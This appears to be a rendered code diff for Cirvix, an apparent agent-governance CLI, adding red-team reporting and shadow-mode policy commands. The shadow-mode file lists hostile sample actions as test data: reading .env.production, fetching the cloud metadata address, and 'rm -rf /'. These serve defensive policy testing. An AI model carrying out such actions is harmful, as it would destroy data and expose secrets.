export async function executeRedTeamCommand({
|
|
12
|
+
rules = [],
|
|
13
|
+
plugins = null,
|
|
14
|
+
json = false,
|
|
15
|
+
cwd = process.cwd(),
|
|
16
|
+
} = {}) {
|
|
17
|
+
const pipeline = new Pipeline({ rules, cwd });
|
|
18
|
+
const report = await runRedTeamSuite(pipeline, { plugins });
|
|
19
|
+
|
|
20
|
+
if (json) return { output: JSON.stringify(report, null, 2), code: report.testsBypassed > 0 ? 1 : 0 };
|
|
21
|
+
|
|
22
|
+
const tone = report.resilienceScore >= 90 ? green : report.resilienceScore >= 70 ? amber : red;
|
|
23
|
+
|
|
24
|
+
const lines = [
|
|
25
|
+
"",
|
|
26
|
+
` ${bold("CIRVIX CONTINUOUS RED TEAMING REPORT")}`,
|
|
27
|
+
` ${dim(`Execution timestamp: ${report.ranAt}`)}`,
|
|
28
|
+
"",
|
|
29
|
+
` ${bold("Resilience Score:")} ${tone(bold(`${report.resilienceScore} / 100`))}`,
|
|
30
|
+
` ${dim("Tests Passed / Blocked:")} ${green(`${report.testsBlocked}`)} / ${report.totalTests}`,
|
|
31
|
+
` ${dim("Security Bypasses:")} ${report.testsBypassed > 0 ? red(`${report.testsBypassed}`) : green("0")}`,
|
|
32
|
+
"",
|
|
33
|
+
` ${bold("Attack Findings:")}`,
|
|
34
|
+
...report.findings.map((f) => {
|
|
35
|
+
const statusIcon = f.blocked ? green("✓ BLOCKED") : red("✗ BYPASS");
|
|
36
|
+
return ` ${statusIcon} ${bold(f.vector)} — ${dim(f.decision ?? "ALLOW")} ${f.ruleTriggered ? dim(`(${f.ruleTriggered})`) : ""}`;
|
|
37
|
+
}),
|
|
38
|
+
];
|
|
39
|
+
|
|
40
|
+
if (report.policyRecommendations?.length > 0) {
|
|
41
|
+
lines.push("");
|
|
42
|
+
lines.push(` ${amber(bold("Recommended Remediation Policies:"))}`);
|
|
43
|
+
for (const rec of report.policyRecommendations) {
|
|
44
|
+
lines.push(` ${cyan("+")} ${rec}`);
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
lines.push("");
|
|
49
|
+
|
|
50
|
+
return { output: lines.join("\n"), code: report.testsBypassed > 0 ? 1 : 0 };
|
|
51
|
+
}
|
package/src/commands/scan.mjs
CHANGED
|
@@ -15,13 +15,13 @@ import {
|
|
|
15
15
|
detectFrameworks,
|
|
16
16
|
detectRuntimes,
|
|
17
17
|
} from "../core/detect.mjs";
|
|
18
|
-
import { bold, dim, green, red, amber, blue, plural } from "../core/format.mjs";
|
|
18
|
+
import { bold, dim, green, red, amber, blue, cyan, plural } from "../core/format.mjs";
|
|
19
19
|
|
|
20
|
-
export async function scan({ cwd = process.cwd(), json = false, deep = false
|
|
21
|
-
const runtimes = await
|
|
22
|
-
const frameworks = await
|
|
23
|
-
const servers =
|
|
24
|
-
const credentials = await
|
|
20
|
+
export async function scan({ cwd = process.cwd(), json = false, deep = false } = {}) {
|
|
21
|
+
const runtimes = await detectRuntimes();
|
|
22
|
+
const frameworks = await detectFrameworks(cwd);
|
|
23
|
+
const servers = collectMcpServers(runtimes);
|
|
24
|
+
const credentials = await detectCredentials(cwd);
|
|
25
25
|
|
|
26
26
|
const findings = buildFindings({ runtimes, frameworks, servers, credentials });
|
|
27
27
|
const counts = tally(findings);
|
|
@@ -53,7 +53,7 @@ function buildFindings({ runtimes, frameworks, servers, credentials }) {
|
|
|
53
53
|
code: "runtime-ungoverned",
|
|
54
54
|
subject: r.label,
|
|
55
55
|
detail: `Tool calls from ${r.label} are not routed through a control plane. Anything it can reach, it can reach unchecked.`,
|
|
56
|
-
fix: `cirvix gateway --servers ${r.path}`,
|
|
56
|
+
fix: `cirvix init --apply (or: cirvix gateway --servers ${r.path})`,
|
|
57
57
|
});
|
|
58
58
|
}
|
|
59
59
|
}
|
|
@@ -135,10 +135,12 @@ function render(r, { deep }) {
|
|
|
135
135
|
L.push("");
|
|
136
136
|
|
|
137
137
|
// Runtimes
|
|
138
|
-
L.push(` ${bold("runtimes")}${dim(pad("", 12))}${r.runtimes.length ? plural(r.runtimes.length, "
|
|
138
|
+
L.push(` ${bold("runtimes")}${dim(pad("", 12))}${r.runtimes.length ? plural(r.runtimes.length, "runtime") : dim("none detected")}`);
|
|
139
139
|
for (const rt of r.runtimes) {
|
|
140
140
|
const state = rt.governed ? green("governed") : red("ungoverned");
|
|
141
|
-
|
|
141
|
+
const level = rt.compatibilityLevel ?? (rt.governed ? "INTEGRATED" : "DISCOVERED");
|
|
142
|
+
const levelBadge = rt.governed ? cyan(`[${level}]`) : amber(`[${level}]`);
|
|
143
|
+
L.push(` ${pad(rt.label, 18)}${levelBadge} ${dim(shorten(rt.path))}`);
|
|
142
144
|
L.push(` ${pad("", 18)}${state}${dim(` · ${plural(rt.serverCount, "MCP server")}`)}`);
|
|
143
145
|
}
|
|
144
146
|
if (r.frameworks.length) {
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Shadow Mode CLI Command.
|
|
3
|
+
*
|
|
4
|
+
* Runs policy evaluation in shadow mode (observe & log hypothetical counterfactuals).
|
|
5
|
+
*/
|
|
6
|
+
|
|
7
|
+
import { ShadowEngine } from "../core/shadow.mjs";
|
|
8
|
+
import { evaluate } from "../core/policy.mjs";
|
|
9
|
+
import { bold, dim, green, red, amber, cyan } from "../core/format.mjs";
|
|
10
|
+
|
|
11
|
+
export async function executeShadowCommand({
|
|
12
|
+
rules = [],
|
|
13
|
+
action = null,
|
|
14
|
+
resource = null,
|
|
15
|
+
json = false,
|
|
16
|
+
cwd = process.cwd(),
|
|
17
|
+
} = {}) {
|
|
18
|
+
const engine = new ShadowEngine();
|
|
19
|
+
|
|
20
|
+
// Test sample candidate actions in shadow mode
|
|
21
|
+
const candidates = [
|
|
22
|
+
{ action: "fs:read", resource: "src/index.ts", tool: "file_reader" },
|
|
23
|
+
{ action: "fs:read", resource: ".env.production", tool: "file_reader" },
|
|
24
|
+
{ action: "net:fetch", resource: "https://api.stripe.com/v1/charges", tool: "curl" },
|
|
25
|
+
{ action: "net:fetch", resource: "http://169.254.169.254/latest/meta-data/", tool: "curl" },
|
|
26
|
+
{ action: "exec:run", resource: "rm -rf /", tool: "bash" },
|
|
27
|
+
];
|
|
28
|
+
|
|
29
|
+
if (action) {
|
|
30
|
+
candidates.length = 0;
|
|
31
|
+
candidates.push({ action, resource: resource ?? "", tool: "custom" });
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
for (const c of candidates) {
|
|
35
|
+
engine.evaluateShadow(c, (call) => evaluate(call, rules, { cwd }));
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
const summary = engine.getSummary();
|
|
39
|
+
if (json) return { output: JSON.stringify(summary, null, 2), code: 0 };
|
|
40
|
+
|
|
41
|
+
const lines = [
|
|
42
|
+
"",
|
|
43
|
+
` ${bold("CIRVIX SHADOW MODE EVALUATION")}`,
|
|
44
|
+
` ${dim("Non-blocking policy observation — live actions proceed without disruption")}`,
|
|
45
|
+
"",
|
|
46
|
+
` ${bold("Summary:")}`,
|
|
47
|
+
` ${dim("Total Observed:")} ${summary.totalEvaluated}`,
|
|
48
|
+
` ${green("●")} ${dim("Would Allow:")} ${summary.wouldAllow}`,
|
|
49
|
+
` ${red("●")} ${dim("Would Block:")} ${summary.wouldBlock}`,
|
|
50
|
+
` ${amber("●")} ${dim("Would Require Approval:")} ${summary.wouldRequireApproval}`,
|
|
51
|
+
` ${red("●")} ${dim("Would Quarantine:")} ${summary.wouldQuarantine}`,
|
|
52
|
+
"",
|
|
53
|
+
` ${bold("Observed Counterfactuals:")}`,
|
|
54
|
+
...summary.logSnippet.map((s) => {
|
|
55
|
+
const tone = s.hypotheticalDecision === "ALLOW" ? green : s.hypotheticalDecision === "REQUIRE_APPROVAL" ? amber : red;
|
|
56
|
+
return ` ${tone(s.hypotheticalDecision.padEnd(16))} ${dim(s.call.action)} ${s.call.resource} ${dim(`[${s.ruleMatched ?? "default"}]`)}`;
|
|
57
|
+
}),
|
|
58
|
+
"",
|
|
59
|
+
];
|
|
60
|
+
|
|
61
|
+
return { output: lines.join("\n"), code: 0 };
|
|
62
|
+
}
|